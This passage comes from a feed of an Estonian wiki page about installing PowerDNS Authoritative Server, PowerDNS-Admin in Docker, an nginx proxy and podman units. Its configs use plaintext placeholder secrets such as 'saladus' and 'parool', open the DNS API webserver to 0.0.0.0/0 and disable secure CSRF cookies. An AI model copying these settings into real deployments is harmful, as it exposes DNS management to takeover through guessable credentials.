&lt;br /&gt;
 # rm /etc/powerdns/pdns.d/bind.conf&lt;br /&gt;
&lt;br /&gt;
Tulemusena töötab pdns server, gpgsql backendiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
2024-06-16T16:44:00.877817+03:00 pdns systemd[1]: Starting pdns.service - PowerDNS Authoritative Server...&lt;br /&gt;
2024-06-16T16:44:00.906026+03:00 pdns pdns_server[3916]: Loading '/usr/lib/x86_64-linux-gnu/pdns/libgpgsqlbackend.so'&lt;br /&gt;
2024-06-16T16:44:00.906356+03:00 pdns pdns_server[3916]: This is a standalone pdns&lt;br /&gt;
2024-06-16T16:44:00.906408+03:00 pdns pdns_server[3916]: Listening on controlsocket in '/run/pdns/pdns.controlsocket'&lt;br /&gt;
2024-06-16T16:44:00.906668+03:00 pdns pdns_server[3916]: UDP server bound to 0.0.0.0:53&lt;br /&gt;
2024-06-16T16:44:00.906684+03:00 pdns pdns_server[3916]: UDP server bound to [::]:53&lt;br /&gt;
2024-06-16T16:44:00.906735+03:00 pdns pdns_server[3916]: TCP server bound to 0.0.0.0:53&lt;br /&gt;
2024-06-16T16:44:00.906750+03:00 pdns pdns_server[3916]: TCP server bound to [::]:53&lt;br /&gt;
2024-06-16T16:44:00.906866+03:00 pdns pdns_server[3916]: PowerDNS Authoritative Server 4.9.1 (C) PowerDNS.COM BV&lt;br /&gt;
2024-06-16T16:44:00.906881+03:00 pdns pdns_server[3916]: Using 64-bits mode. Built using gcc 12.2.0 on May 28 2024 07:46:05 by root@localhost.&lt;br /&gt;
2024-06-16T16:44:00.906891+03:00 pdns pdns_server[3916]: PowerDNS comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it according to the terms of the GPL version 2.&lt;br /&gt;
2024-06-16T16:44:00.915255+03:00 pdns pdns_server[3916]: Polled security status of version 4.9.1 at startup, no known issues reported: OK&lt;br /&gt;
2024-06-16T16:44:00.926644+03:00 pdns pdns_server[3916]: Creating backend connection for TCP&lt;br /&gt;
2024-06-16T16:44:00.935773+03:00 pdns pdns_server[3916]: About to create 3 backend threads for UDP&lt;br /&gt;
2024-06-16T16:44:00.935850+03:00 pdns systemd[1]: Started pdns.service - PowerDNS Authoritative Server.&lt;br /&gt;
2024-06-16T16:44:01.086206+03:00 pdns pdns_server[3916]: Done launching threads, ready to distribute questions&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ühtegi tsooni ei ole kirjeldatud&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/tmp# pdnsutil list-all-zones&lt;br /&gt;
root@pdns:/tmp# &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS seadistamine====&lt;br /&gt;
&lt;br /&gt;
Seadistamisel tegeldakse&lt;br /&gt;
&lt;br /&gt;
* api sisselülitamine (PDA jaoks)&lt;br /&gt;
* SOA kirje vaikeväärtused&lt;br /&gt;
* DNSSEC vaike krüpto&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - PDA - docker====&lt;br /&gt;
&lt;br /&gt;
PowerDNS-Admin tarvkara töötab docker konteinerina, aga kasutab host arvutist postgresql andmebaasi. Platvorm ettevalmistamine punktis on vajalik kasutaja ja create database tekitatud. PDA kasutamine eeldab, et PDNS juures on sisse lülitatud api liides (vaikimisi http liiklus üle port 8081).&lt;br /&gt;
&lt;br /&gt;
Docker compose fail&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:~# cat docker-compose-pda.yml&lt;br /&gt;
services:&lt;br /&gt;
  svc_pda:&lt;br /&gt;
    image: powerdnsadmin/pda-legacy:v0.4.2&lt;br /&gt;
     &lt;br /&gt;
    container_name: cn_pda&lt;br /&gt;
    restart: always&lt;br /&gt;
    logging:&lt;br /&gt;
      driver: json-file&lt;br /&gt;
      options:&lt;br /&gt;
        max-size: 50m&lt;br /&gt;
    ports:&lt;br /&gt;
      - &amp;quot;9191:80&amp;quot;&lt;br /&gt;
    environment:&lt;br /&gt;
      - SECRET_KEY='saladus'&lt;br /&gt;
      - SQLALCHEMY_DATABASE_URI=postgresql://pda:pdaparool@192.168.10.53/pda&lt;br /&gt;
      - GUNICORN_TIMEOUT=60&lt;br /&gt;
      - GUNICORN_WORKERS=2&lt;br /&gt;
      - GUNICORN_LOGLEVEL=DEBUG&lt;br /&gt;
      - OFFLINE_MODE=False&lt;br /&gt;
      - CSRF_COOKIE_SECURE=False&lt;br /&gt;
 &lt;br /&gt;
    networks:&lt;br /&gt;
      - nw_pda&lt;br /&gt;
       &lt;br /&gt;
networks:&lt;br /&gt;
  nw_pda:&lt;br /&gt;
    name: nw_pda&lt;br /&gt;
    driver: bridge&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks&lt;br /&gt;
&lt;br /&gt;
 # docker compose -f docker-compose-pda.yml up -d&lt;br /&gt;
&lt;br /&gt;
Tulemusena on aadressil http://192.168.10.53:9191/ PDA webgui sisselogimise ekraan. Pressida Create Account ja esimesena tekitatud kasutaja on admin privileegidega.&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - NginX operatsioonisüsteem====&lt;br /&gt;
&lt;br /&gt;
NginX https:// frontend kasutamiseks sobib kasutada sellist seadistust&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pdns:/etc/nginx/sites-enabled# cat /etc/nginx/sites-enabled/pdns &lt;br /&gt;
server {&lt;br /&gt;
    listen 80;&lt;br /&gt;
    server_name pdns.moraal.ee;&lt;br /&gt;
    root /var/www/html;&lt;br /&gt;
 &lt;br /&gt;
    if ($request_uri !~ /.well-known) {&lt;br /&gt;
      return 301 https://pdns.moraal.ee/;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
server {&lt;br /&gt;
    listen 443 ssl http2;&lt;br /&gt;
    server_name pdns.moraal.ee;&lt;br /&gt;
    ssl_certificate /etc/ssl/localcerts/pdns.moraal.ee.pem;&lt;br /&gt;
    ssl_certificate_key /etc/ssl/localcerts/pdns.moraal.ee.key;&lt;br /&gt;
    ssl_session_timeout 1d;&lt;br /&gt;
    ssl_session_cache shared:MozSSL:10m;&lt;br /&gt;
    ssl_session_tickets off;&lt;br /&gt;
    ssl_protocols TLSv1.2 TLSv1.3;&lt;br /&gt;
    ssl_prefer_server_ciphers off;&lt;br /&gt;
    ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305;&lt;br /&gt;
 &lt;br /&gt;
    client_max_body_size 25m;&lt;br /&gt;
 &lt;br /&gt;
    ssl_stapling off;&lt;br /&gt;
    add_header Strict-Transport-Security &amp;quot;max-age=63072000&amp;quot; always;&lt;br /&gt;
 &lt;br /&gt;
    access_log /var/log/nginx/access-pdns.moraal.ee-443.log;&lt;br /&gt;
    root /var/www/html;&lt;br /&gt;
 &lt;br /&gt;
    location / {&lt;br /&gt;
      proxy_set_header Host $http_host;&lt;br /&gt;
      proxy_set_header X-Forwarded-For $remote_addr;&lt;br /&gt;
      proxy_set_header X-Forwarded-Proto https;&lt;br /&gt;
      proxy_pass http://192.168.10.53:9191;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - NginX docker====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
TODO&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Tulemusena saab pda webgui poole pöörduda aadressiga https://pdns.moraal.ee/.&lt;br /&gt;
&lt;br /&gt;
PDA kasutaja parooli muutmine postgresql baasis, nb rakendus kasutab tabeli nimena 'user', see on postgresql nö built-in objekt ja name clash ületamiseks tuleb pöörduda rakendusega seotud ressursi poole &amp;quot;user&amp;quot; abil, eriti koos skeemi prefiksiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql db_pda&lt;br /&gt;
pda=# select * from public.&amp;quot;user&amp;quot;;&lt;br /&gt;
-[ RECORD 1 ]------------------------------------------------------------&lt;br /&gt;
id         | 1&lt;br /&gt;
username   | admin&lt;br /&gt;
password   | $2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FF&lt;br /&gt;
firstname  | Imre&lt;br /&gt;
lastname   | Oolberg&lt;br /&gt;
email      | imre.oolberg@auul.pri.ee&lt;br /&gt;
otp_secret | &lt;br /&gt;
role_id    | 1&lt;br /&gt;
confirmed  | f&lt;br /&gt;
..&lt;br /&gt;
&lt;br /&gt;
db_pda=# update public.&amp;quot;user&amp;quot; set password='$2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FC' where username='admin';&lt;br /&gt;
UPDATE 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kusjuures password väärtus tekitatakse nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ htpasswd -bnBC 15 &amp;quot;&amp;quot; pdaparool | tr -d ':\n'&lt;br /&gt;
$2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FC&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutaja lisamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_pda=# insert into &amp;quot;user&amp;quot; (username, password, firstname, lastname, email, role_id, confirmed) values ('admin',  '$2b$12$4M9qXQaWn95GTregvSO2v.I/1QQT0/Ayqt3jZsMp06FIa5dMme6Gu', 'Administrator', 'Administrator', 'priit@moraal.ee', 1, 'f');&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
pdns api kontakti lisamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_api_url', 'http://192.168.10.80:8081');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_api_key', 'apiparool');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_version', '4.9.11');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# select * from setting;&lt;br /&gt;
 id |     name     |         value&lt;br /&gt;
----+--------------+------------------------&lt;br /&gt;
  7 | pdns_api_url | http://192.168.10.80:8081&lt;br /&gt;
  8 | pdns_api_key | apiparool&lt;br /&gt;
  9 | pdns_version | 4.9.11&lt;br /&gt;
(3 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PDA kasutamise privileegid====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* Account - grupi taoline moodustis, praktiliselt võiks vastata domeeni omanik asutusele&lt;br /&gt;
* User - kasutaja taoline moodustis, vastab inimesele kes süsteemi kasutab&lt;br /&gt;
* User ja Account vaheliste seoste abil saab anda hulgale kasutajatele õiguse tegeleda hulga domeenidega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@rv-xxx-01:/opt/pda/dc# docker exec -ti e8 sh&lt;br /&gt;
/app $ ps aux&lt;br /&gt;
PID   USER     TIME  COMMAND&lt;br /&gt;
    1 pda       0:00 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
    7 pda       0:02 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
    8 pda       0:01 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
&lt;br /&gt;
[2025-10-31 13:06:25,927] [record.py:61] ERROR - Cannot fetch zone's record data from remote powerdns api. DETAIL: HTTPSConnectionPool(host='rvxxx-01.test.moraal.ee', port=443): Max retries exceeded with url: /api/v1/servers/localhost/zones/imretest-03.ee (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self-signed certificate in certificate chain (_ssl.c:1007)')))&lt;br /&gt;
&lt;br /&gt;
    volumes:&lt;br /&gt;
        #      - /opt/pda/volume/pda/etc/ssl/certs/ca-certificates.crt:/usr/lib/python3.10/site-packages/certifi/cacert.pem&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PDA API liidese kasutamine====&lt;br /&gt;
&lt;br /&gt;
Tsooni tekitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ curl -s -L -H 'Content-Type: application/json' -H 'Authorization: Basic xxx' -X POST https://pda.moraal.ee/api/v1/pdnsadmin/zones \&lt;br /&gt;
    --data '{&amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;, &amp;quot;kind&amp;quot;: &amp;quot;MASTER&amp;quot;, &amp;quot;nameservers&amp;quot;: [&amp;quot;ans1.moraal.ee.&amp;quot;, &amp;quot;ans2.moraal.ee.&amp;quot;]}' | jq .&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;account&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;api_rectify&amp;quot;: false,&lt;br /&gt;
  &amp;quot;catalog&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;dnssec&amp;quot;: false,&lt;br /&gt;
  &amp;quot;edited_serial&amp;quot;: 2026010802,&lt;br /&gt;
  &amp;quot;id&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
  &amp;quot;kind&amp;quot;: &amp;quot;Master&amp;quot;,&lt;br /&gt;
  &amp;quot;last_check&amp;quot;: 0,&lt;br /&gt;
  &amp;quot;master_tsig_key_ids&amp;quot;: [],&lt;br /&gt;
  &amp;quot;masters&amp;quot;: [],&lt;br /&gt;
  &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
  &amp;quot;notified_serial&amp;quot;: 0,&lt;br /&gt;
  &amp;quot;nsec3narrow&amp;quot;: false,&lt;br /&gt;
  &amp;quot;nsec3param&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;rrsets&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;comments&amp;quot;: [],&lt;br /&gt;
      &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans1.moraal.ee. hostmaster.moraal.ee. 2026010801 86400 7200 2419200 10800&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        }&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 3600,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;SOA&amp;quot;&lt;br /&gt;
    },&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;comments&amp;quot;: [],&lt;br /&gt;
      &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans1.moraal.ee.&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        },&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans2.moraal.ee.&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        }&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 3600,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;NS&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
  ],&lt;br /&gt;
  &amp;quot;serial&amp;quot;: 2026010801,&lt;br /&gt;
  &amp;quot;slave_tsig_key_ids&amp;quot;: [],&lt;br /&gt;
  &amp;quot;soa_edit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;soa_edit_api&amp;quot;: &amp;quot;DEFAULT&amp;quot;,&lt;br /&gt;
  &amp;quot;url&amp;quot;: &amp;quot;/api/v1/servers/localhost/zones/zone-moraal-imre-test-01.ee.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui pole ligipääsu saab sellise vastuse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
% curl -s -L -H 'Content-Type: application/json' -H 'X-API-KEY:  xxx' -X GET &amp;quot;https://pda.moraal.ee/api/v1/servers/localhost/zones/zone-moraal-imre-test-01.ee&amp;quot; | jq .&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;msg&amp;quot;: &amp;quot;Zone access not allowed&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===pdns docker lahendus===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.conf&lt;br /&gt;
allow-axfr-ips=127.0.0.1,192.168.10.0/24&lt;br /&gt;
allow-notify-from=&lt;br /&gt;
allow-unsigned-notify=yes&lt;br /&gt;
also-notify=&lt;br /&gt;
api=yes&lt;br /&gt;
api-key=saladus&lt;br /&gt;
default-api-rectify=yes&lt;br /&gt;
default-ksk-algorithm=ecdsa256&lt;br /&gt;
default-soa-content=ans1.auu.pri.ee hostmaster.auul.pri.ee 0 86400 7200 2419200 10800&lt;br /&gt;
default-soa-edit=INCEPTION-INCREMENT&lt;br /&gt;
default-soa-edit-signed=INCEPTION-INCREMENT&lt;br /&gt;
default-ttl=3600&lt;br /&gt;
disable-syslog=no&lt;br /&gt;
forward-notify=&lt;br /&gt;
include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
launch=&lt;br /&gt;
local-address=172.30.0.15, 10.30.0.15&lt;br /&gt;
local-port=53&lt;br /&gt;
log-dns-details=yes&lt;br /&gt;
log-dns-queries=yes&lt;br /&gt;
log-timestamp=yes&lt;br /&gt;
loglevel=4&lt;br /&gt;
only-notify=&lt;br /&gt;
primary=yes&lt;br /&gt;
secondary=yes&lt;br /&gt;
webserver=yes&lt;br /&gt;
webserver-address=10.30.0.15&lt;br /&gt;
webserver-allow-from=0.0.0.0/0&lt;br /&gt;
webserver-loglevel=detailed&lt;br /&gt;
webserver-password=saladus&lt;br /&gt;
webserver-port=8081&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===pdns podman lahendus===&lt;br /&gt;
&lt;br /&gt;
PDNS Quadlet Service kirjeldus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/pdns-01.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My PDNS Quadlet Service&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/powerdns/pdns-auth-49:latest&lt;br /&gt;
PublishPort=1053:8053/tcp&lt;br /&gt;
PublishPort=1053:8053/udp&lt;br /&gt;
ContainerName=pdns-01&lt;br /&gt;
Volume=%h/volume/pdns/etc/powerdns/pdns.conf:/etc/powerdns/pdns.conf:ro&lt;br /&gt;
Environment=PDNS_local_port=8053&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning pdns.conf seadistusfail&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /opt/pdns/volume/pdns/etc/powerdns/pdns.conf&lt;br /&gt;
local-address=0.0.0.0&lt;br /&gt;
launch=&lt;br /&gt;
# include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
api=yes&lt;br /&gt;
api-key=parool&lt;br /&gt;
webserver=yes&lt;br /&gt;
webserver-address=0.0.0.0&lt;br /&gt;
webserver-allow-from=0.0.0.0/0&lt;br /&gt;
&lt;br /&gt;
#master=yes&lt;br /&gt;
&lt;br /&gt;
primary=yes&lt;br /&gt;
secondary=yes&lt;br /&gt;
allow-axfr-ips= 100.20.21.0/24,127.0.0.1/32,172.17.0.0/16&lt;br /&gt;
also-notify=192.168.1.150&lt;br /&gt;
only-notify=&lt;br /&gt;
forward-notify=&lt;br /&gt;
default-soa-content=ans1.auul.pri.ee hostmaster.auul.pri.ee 0 86400 7200 2419200 10800&lt;br /&gt;
default-soa-edit=INCEPTION-INCREMENT&lt;br /&gt;
default-soa-edit-signed=INCEPTION-INCREMENT&lt;br /&gt;
default-ttl=3600&lt;br /&gt;
&lt;br /&gt;
default-ksk-algorithm=ecdsa256&lt;br /&gt;
default-api-rectify=yes&lt;br /&gt;
# default-nsec3-param=1 0 0 -&lt;br /&gt;
&lt;br /&gt;
launch+=gpgsql&lt;br /&gt;
gpgsql-dnssec=yes&lt;br /&gt;
gpgsql-extra-connection-parameters=password=parool dbname=db_pdns port=5432 user=pdns host=192.168.1.147&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* https://www.powerdns.com/&lt;br /&gt;
* http://www.poweradmin.org/&lt;br /&gt;
* https://github.com/PowerDNS/pdns/wiki/WebFrontends&lt;br /&gt;
* http://jpmens.net/2010/10/29/alternative-dns-servers-the-book-as-pdf/&lt;br /&gt;
* https://blog.powerdns.com/2016/02/02/powerdns-authoritative-the-new-old-way-to-manage-domains/&lt;br /&gt;
* https://www.cloudflare.com/dns/dnssec/how-dnssec-works/&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=PowerDNS_Authoritative_Server_nimeserveri_kasutamine&amp;diff=4224</id>
		<title>PowerDNS Authoritative Server nimeserveri kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=PowerDNS_Authoritative_Server_nimeserveri_kasutamine&amp;diff=4224"/>
		<updated>2026-06-15T18:38:49Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* pdns podman lahendus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
PowerDNS https://www.powerdns.com/ on üks populaarsetest vaba tarkvaralistest nn alternatiivsetest DNS serveritest, kuigi 'alternatiivse' kohta väidetavalt teda kasutatakse väga massiliselt DNSSEC jaoks. PowerDNS tarkvara võimaldab pidada täielist DNS infrastruktuuri, sh slave ja master pädevate nimeserverite erinevad konfiguratsioonid. PowerDNS tarkvara komplekti kuuluvad&lt;br /&gt;
&lt;br /&gt;
* PowerDNS Authoritative Server - pädev nimeserver&lt;br /&gt;
* PowerDNS Recursor - rekursiivne nimeserver&lt;br /&gt;
* dnsdist - koormusjaotur&lt;br /&gt;
&lt;br /&gt;
PowerDNS Authoritative Server tarkvaral on sellised tunnused&lt;br /&gt;
&lt;br /&gt;
* võimalus kasutada andmete salvestamiseks erinevaid nn backend'isid (nn plain text, sql andmebaas, ldap kataloog jne)&lt;br /&gt;
* väga mugavalt korraldada DNSSEC tsooni pidamist&lt;br /&gt;
* tsoonide käsitlemine (tekitamine, sisu muutmine, eemaldamine) on võimalik üle nn API&lt;br /&gt;
* eksisteerivad mitmesugused veebipõhised tsoonide haldusliidesed (otse baasi ja üle API)&lt;br /&gt;
* ebamugav on kontrollida, kust tsooni kopeeritakse, kuhu notify saadetakse ja kust lubatakse tsooni kopeerida&lt;br /&gt;
&lt;br /&gt;
Haldusliidesed jagunevad kaheks&lt;br /&gt;
&lt;br /&gt;
* kirjutavad otse samasse sql baasi, mida kasutab PowerDNS ja tegelikult töötavadki ainult SQL backendide puhul - nt Poweradmin, http://www.poweradmin.org/&lt;br /&gt;
* suhtlevad PowerDNS'iga üle API, töötavad kõigi backendide puhul - nt nsedit, https://github.com/tuxis-ie/nsedit&lt;br /&gt;
&lt;br /&gt;
Järgnevas tekstis öeldakse lühiduse mõttes PowerDNS ja mõeldakse PowerDNS Authoritative Server ehk pädevat komponenti.&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
PowerDNS tarkvara saab kasutada erinevates konfiguratsioonides&lt;br /&gt;
&lt;br /&gt;
* nö suure pildi mõttes, nt PowerDNS on varjatud master ja avalikus võrgus teenindavad NSD nimeserverid (alternatiiv oleks pidada PowerDNS nimeserverit otse avalikus võrgus)&lt;br /&gt;
* PowerDNS enda komponentidest on välja valitud mingi komplekt, nt baas osa ja PostgreSQL backend (alternatiiv oleks BIND formaadis tekstifailid failisüsteemis)&lt;br /&gt;
* tsooniandmete haldamiseks kasutatakse käsurea utiliiti pdnsutil ja nsedit php rakendust&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis keskendutakse just mainitud konfiguratsioonile. Kui PowerDNS kasutab SQL backendi, siis avaliku pädeva DNS teenuse pakkumise juures tekitab see vähemalt esmapilgul kahtlusi. Võib olla on hea mõte tekitada varjatud masteriga lahendus&lt;br /&gt;
&lt;br /&gt;
      ans1 (NSD)                                   ans2 (NSD)&lt;br /&gt;
      _____                                        _____&lt;br /&gt;
     |     |                                      |     |&lt;br /&gt;
     |     |                                      |     |&lt;br /&gt;
     |_____| port 8952                            |_____| port 8952&lt;br /&gt;
        |                                            |&lt;br /&gt;
        |                                            |&lt;br /&gt;
    ----|---------------------|----------------------|----&lt;br /&gt;
                              |&lt;br /&gt;
                            __|__&lt;br /&gt;
                           |     | nimetaja (PowerDNS)&lt;br /&gt;
                           |     |&lt;br /&gt;
                           |_____|&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* ans1, ans2 - avalikud pädevad nimeserverid, tehniliselt slave'id&lt;br /&gt;
* nimetaja - varjatud pädev nimeserver, tehniliselt master&lt;br /&gt;
* üle port 8952 saab nsd protsessi eemalt juhtida (alternatiiv on juhtida nö tavalisel viisil, lokaalselt)&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis pööratakse NSD tarkvara kasutamisele tähelepanu minimaalselt. NSD tekst asub aadressil [[:Pädeva nimeserveri NSD v. 4 kasutamine operatsioonisüsteemiga Debian]].&lt;br /&gt;
&lt;br /&gt;
===Tarkvara paigaldamine ja seadistamine===&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks on üldiselt kaks võimalust&lt;br /&gt;
&lt;br /&gt;
* operatsioonisüsteemi paketihaldus&lt;br /&gt;
* PowerDNS repositoorium - https://repo.powerdns.com/&lt;br /&gt;
&lt;br /&gt;
PowerDNS tarkvara on jaotatud komponentideks&lt;br /&gt;
&lt;br /&gt;
* üldosa&lt;br /&gt;
* tsoonidega seotud andmete salvesamiseks erinevad backendid (failisüsteem, SQL andembaas jne)&lt;br /&gt;
&lt;br /&gt;
Kui asutakse kasutama SQL backendi, siis võib olla otstarbekas enne PowerDNS vastava backendi paigaldamist baas ise paigaldada ja käivitada; nt nt see baas ei pruugi olla tingimata samas arvutis. Teisipidi, mugavam on samas arvutis, kuna sel juhul baasi saab lähtestada dbconfig süsteemi abil; lisaks, kui kasutatakse DNSSEC'i, siis arvestada, et krüptomaterjal asub baasis. Käesolevas tekstis paigaldatakse tarkvara PowerDNS repositooriumist kuna seal on alati kõige värskem.&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL andmebaasi ettevalmistamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS tarkvara ei ole PostgreSQL andmebaasi versiooni suhtes nõudlik, tõenäoliselt sobib igasugune v. 9.x ja nt en_US.UTF-8 kodeering&lt;br /&gt;
&lt;br /&gt;
 # apt-get install postgresql&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine PowerDNS repositooriumist====&lt;br /&gt;
&lt;br /&gt;
